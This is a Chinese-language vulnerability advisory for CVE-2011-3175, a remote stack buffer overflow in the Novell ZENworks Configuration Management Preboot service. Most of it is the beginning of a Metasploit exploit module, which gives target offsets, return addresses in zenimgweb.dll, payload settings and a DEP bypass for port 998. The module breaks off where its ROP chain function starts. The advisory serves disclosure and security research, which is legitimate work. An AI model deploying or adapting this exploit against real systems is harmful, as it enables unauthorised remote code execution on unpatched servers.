Novell ZENworks Configuration Management多个安全漏洞(CV

发布日期：2012-03-21
更新日期：2012-07-23

受影响系统：
Novell ZENworks Configuration Management 11.1A
Novell ZENworks Configuration Management 11.1
不受影响系统：
Novell ZENworks Configuration Management 11.2
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 52659
CVE ID: CVE-2011-3175

Novell ZENworks Configuration Management是ZENworks系统网关工具中的配置管理解决方案。

Novell ZENworks Configuration Management (ZCM) 11.1和11.1a的Preboot服务中存在栈缓冲区溢出漏洞，通过操作码0x6c请求，可允许远程攻击者执行任意代码。

<*来源：Luigi Auriemma （aluigi@pivx.com）
 
  链接：
        ?id=7010044
*>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#  
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow',
      'Description'    => %q{
          This module exploits a remote buffer overflow in the ZENworks Configuration
        Management. The vulnerability exists in the Preboot service and can be triggered by
        sending a specially crafted packet with the opcode 0x6c (PROXY_CMD_GET_NEXT_STEP)
        to port 998/TCP. The module has been successfully tested on Novell ZENworks
        Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma', # Vulnerability Discovery
          'juan' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-3175' ],
          [ 'OSVDB', '80231' ],
          [ 'BID', '52659' ],
          [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=973' ],
          [ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5127930.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'BadChars' => "\x00",
          'Space'=> 990,
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2',
            {
              'Offset'            => 1100,
              'OffsetBottomStack' => 1148,
              'OffsetRop'         => 4,
              'Ret'               => 0x10024b8c # add esp, 1204 # ret from zenimgweb.dll
            }
          ],
          [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
            {
              'Offset'            => 1100,
              'OffsetBottomStack' => 1148,
              'OffsetRop'         => 4,
              'Ret'               => 0x10024a7c # add esp, 1204 # ret from zenimgweb.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Feb 22 2012',
      'DefaultTarget'  => 0))

register_options([Opt::RPORT(998)], self.class)
  end

def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

def nop
    return make_nops(4).unpack("L")[0].to_i
  end

# rop chain generated with mona.py
  def create_rop_chain()